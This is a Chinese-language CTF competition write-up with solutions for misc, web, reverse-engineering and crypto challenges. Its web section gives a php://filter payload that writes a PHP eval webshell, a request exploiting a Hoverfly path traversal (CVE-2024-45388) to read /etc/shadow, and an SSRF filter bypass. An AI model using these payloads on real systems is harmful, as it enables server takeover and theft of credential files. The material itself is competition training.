Misc
大赛宗旨
记事本打开,一眼零宽隐写

B 神工具一把梭,得到一串 base 编码

base64 解码得到 flag

flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}
esab
根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下给出的字符串

然后解 base,和今年御网杯那道题类似,使用特定的网站解 base62

得到一串 base64 编码的文本,使用工具 basecrack 尝试一把梭

解了一个 base64 和一个 base91,得到的文本又像是 base62,再次 base62 解码,得到 flag

flag 值:flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}
ezpng
将 password.txt 的内容放入 cyberchef 解密,得到一个密码 cimbar

flag.png 放入 010 查看,发现文件头尾都不对,尝试发现是异或得到的字符串 cimbar

使用 cyberchef 把图片异或回去,得到一张正常的 png 文件


网上找到一个项目,提取出 cimbar 图片里隐藏的文本,项目地址如下
https://github.com/sz3/cimbar
下载下来,将图片放到同一目录,使用如下命令,即可得到 flag
python -m cimbar.cimbar 111.png -o myoutputfile.txt

flag 值:flag{c06ff653-d96e-4c59-9667-655a8a18862e}
so far so good
谷歌搜索,发现是国外某比赛的原题,赛名 OliCyber.IT 2024,wp 如下:
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md
利用 wp 上给出的脚本,有些地方不适配,稍微修改下脚本,运行得到 flag,脚本如下:
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sys
KEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFF
streams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")
for p in cap:
try:
i = int(p.tcp.stream)
streams[i] += bytes.fromhex(p.data.data)
except:
pass
cap.close()
stream = streams[0]
kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')
def read():
global stream
s = stream[0]
stream = stream[1:]
return s
class Message():
def __init__(self) -> None:
self.code = None
self.param = None
self.len = None
self.data = None
def read(self):
self.code = read()
self.param = read()
self.len = read()
self.data = []
for i in range(self.len):
self.data.append(read())
def handle(self):
global KEY, IV, cipher, keyset, nonceset, cipherset
if self.code == KEYSET:
for i in range(32):
KEY[i] = self.data[i]
keyset = True
cipherset = False
elif self.code == NONCESET:
for i in range(8):
IV[i] = self.data[i]
nonceset = True
cipherset = False
elif self.code == STORE:
if not keyset or not nonceset:
return
if not cipherset:
cipherset = True
cipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))
dec = cipher.decrypt(bytes(self.data))
for i in range(self.len):
FLAG[10 * self.param + i] = dec[i]
if -1 not in FLAG:
print(bytes(FLAG))
return True
elif self.code == RESET:
KEY = [0] * 32
IV = [0] * 8
keyset = False
nonceset = False
cipherset = False
_stream = stream[:]
for ki in kidxs:
for ni in nidxs:
if ki > ni:
continue
print('key index:', ki, '\tnonce index:', ni)
KEY = [-1] * 32
IV = [-1] * 8
FLAG = [-1] * 40
keyset = False
nonceset = False
cipherset = False
cipher = None
try:
stream = stream[ki:]
m = Message()
m.read()
m.handle()
stream = stream[ni - ki - 35:]
m = Message()
m.read()
m.handle()
while len(stream) > 0:
ni = stream.index(NONCESET) if NONCESET in stream else 99999
si = stream.index(STORE) if STORE in stream else 99999
next_idx = min([ni, si])
stream = stream[next_idx:]
m = Message()
m.read()
if m.handle():
break
except:
print('Exception')
pass
stream = _stream[:]
运行结果如图所示,得到 flag

flag 值:flag{0h_usb_0v3r_1p_i5_s0_c00l_567c08e6}
Web
fillllll_put
源码如下:
<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
$content=$_GET['content'];
file_put_contents($filename,'<?php exit();'.$content);
}
经典的伪协议绕过死亡 exit(),网上有很多参考文章
payload 如下:
?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

访问 shell.php,成功解析

使用蚁剑连接一句话木马,连接成功

根目录没有,在根目录下的/tmp 目录翻到 flag.txt

flag 值:flag{89166828-7120-42be-966c-820fc46d74a6}
hoverfly
打开是一个 Hoverfly 的界面

网上找到一个 CVE,Hoverfly 任意文件读取漏洞(CVE-2024-45388),复现文章如下:
https://blog.csdn.net/qq_38154820/article/details/142891049
burp 抓包,修改数据包如下:
PUT /api/v2/simulation HTTP/1.1
Host: 114.55.67.167:50463
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
成功读取 /etc/passwd,可以读取任意文件

翻遍了没找到哪里有 flag,var/log/syslog 记录了系统级别的日志信息,包括系统启动、服务启动和停止、内核消息、硬件错误、软件错误等,在日志里得到提示 see see /tmp/fa1g

访问 /tmp/fa1g 文件得到 flag

flag 值:flag{57a4de14-9151-4554-b36a-b12dfc79c2d3}
ssrf
进入页面,提示查询网站,根据题目名字 ssrf 知道肯定是读内网文件

先扫一下有什么文件,发现 flag.php

直接读取 127.0.0.1 下的 flag.php,提示无效的 url

可以使用域名重定向绕过,找到如下域名,测试可以绕过
http://wifi.aliyun.com/flag.php
成功读取到 flag

flag 值:flag{980a8f2f-00c6-4e60-8468-9b44a948df44}
Reverse
babyre
首先通过 sub_401050 提示输入flag,并通过 sub_4010C0 读取最多32字节的输入到 v23。
输入被分为两部分:前16字节存储到 v26。后16字节存储到 v24。

前16字节解码:
使用硬编码目标值 v6 的前四组数据作为目标(共4个整数)。
对解密后的数据还原高低位交换(调用 sub_401130 的逆向逻辑)。
TEA加密逆向:根据代码分析 sub_4012B0 是TEA加密的部分,需要实现解密逻辑。

脚本如下:
#include <stdio.h>
#include <stdint.h>
// TEA解密函数
void decrypt(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x61C88647; // Delta常量
uint32_t sum = 0 - 32 * delta; // 初始化sum
uint32_t v0 = v[0], v1 = v[1];
for (int i = 0; i < 32; i++) {
v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ ((v0 << 4) + key[2]);
v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ ((v1 << 4) + key[0]);
sum += delta;
}
v[0] = v0;
v[1] = v1;
}
int main() {
// 密钥
uint32_t key[4] = {
0x00001266, 0x00003404, 0x0000562A, 0x000078C2
};
// 密文
uint32_t enc[4] = {
0x369A1583, 0x009A9E6D, 0xBE761C60, 0x3ED644A0
};
// 对密文分块解密
decrypt(enc, key); // 解密前两部分
decrypt(enc + 2, key); // 解密后两部分
// 输出解密后的结果(大端序)
printf("Flag: ");
for (int i = 0; i < 4; i++) { // 遍历解密后的4个32位整数
for (int j = 3; j >= 0; j--) { // 大端序输出每个字节(高位字节在前)
printf("%c", (enc[i] >> (8 * j)) & 0xFF);
}
}
printf("\n");
return 0;
}
后16字节解码:
从目标值 v6 的后四组数据中提取目标(共4个整数)。
高低位交换逆向:调用 sub_401130 的逆向逻辑。
凯撒密码逆向:对替换的字符使用偏移量为 -3 的逆操作。

解密脚本如下:
def reverse_byte_order(data):
"""高低位交换"""
return [
((x >> 24) & 0xFF) | ((x >> 8) & 0xFF00) |
((x & 0xFF00) << 8) | ((x & 0xFF) << 24)
for x in data
]
def reverse_caesar_cipher(data, shift=3):
"""逆凯撒密码,shift是偏移量"""
result = []
for ch in data:
if 'A' <= ch <= 'Z':
result.append(chr((ord(ch) - shift - 65) % 26 + 65))
elif 'a' <= ch <= 'z':
result.append(chr((ord(ch) - shift - 97) % 26 + 97))
else:
result.append(ch)
return ''.join(result)
# 硬编码的目标数据
v6 = [
916067715, 10133101, -1099555744, 1054229664,
1685154385, 1816750188, 1416384356, 1814110589
]
v19 = v6[4:]
v19 = reverse_byte_order(v19)
cipher2 = ''.join([chr((x >> (8 * i)) & 0xFF) for x in v19 for i in range(4)])
plain2 = reverse_caesar_cipher(cipher2)
print(plain2)
两端 flag 都已经拿到了,直接拼接两段,得到完整 flag
flag 值:flag{ZhuangBiWoRangNiFeiQiLai!!}
Crypto
Ezrsa
from Crypto.Util.number import *
from Crypto.Util.Padding import *
def generate_prime(bits=512):
return getPrime(bits)
def generate_rsa_key(bits=512, e=9):
while True:
p, q = generate_prime(bits), generate_prime(bits)
n = p * q
if GCD((p-1)*(q-1), e) == 1:
d = inverse(e, (p-1)*(q-1))
return n, e, d
def encrypt_message(message, e, n):
return pow(message, e, n)
def decrypt_message(ciphertext, d, n):
return pow(ciphertext, d, n)
def main(flag_text=b"flag{*******************}", num_keys=9, bits=512, e=9):
FLAG = bytes_to_long(pad(flag_text, 64))
n_list = []
c_list = []
for i in range(num_keys):
n, e, d = generate_rsa_key(bits, e)
n_list.append(n)
c = encrypt_message(FLAG, e, n)
c_list.append(c)
assert decrypt_message(c, d, n) == FLAG
print("n_list:", n_list)
print("c_list:", c_list)
if __name__ == "__main__":
main()
看到e=9,以及九组密文c和模数n,挨个爆破
Ci=pow(m,e,Ni) i=1,2,3,....,9
对list_n和list_c遍历爆破
脚本如下:
import gmpy2
import math
from Crypto.Util.number import long_to_bytes
def merge(a1, n1, a2, n2):
d = math.gcd(n1, n2)
c = a2 - a1
if c % d != 0:
return 0
c = (c % n2 + n2) % n2
c = c // d
n1 = n1 // d
n2 = n2 // d
c *= gmpy2.invert(n1, n2)
c %= n2
c *= n1 * d
c += a1
global n3
global a3
n3 = n1 * n2 * d
a3 = (c % n3 + n3) % n3
return 1
def exCRT(a, n):
a1 = a[0]
n1 = n[0]
le = len(a)
for i in range(1, le):
a2 = a[i]
n2 = n[i]
if not merge(a1, n1, a2, n2):
return -1
a1 = a3
n1 = n3
global mod
mod = n1
return (a1 % n1 + n1) % n1
def exCRT_getequation(a, n):
a1 = a[0]
n1 = n[0]
le = len(a)
for i in range(1, le):
a2 = a[i]
n2 = n[i]
if not merge(a1, n1, a2, n2):
return -1
a1 = a3
n1 = n3
return (a1, n1)
# 示例数据
n = [...] # 请替换为实际的n值
c = [...] # 请替换为实际的c值
m9 = exCRT(c, n)
m = gmpy2.iroot(m9, 9)[0]
print(long_to_bytes(m))
flag 值:flag{25f028f3-5362-4d1d-ab16-ae65503e447f}
Madoka Runes
搜索题目,发现图形加密方式,魔女文字,对比得到压缩包密码ctf951zhen,从而得到flag

flag 值:flag{f393e6c7-b150-6ecd-0458-c8f38363cb3e}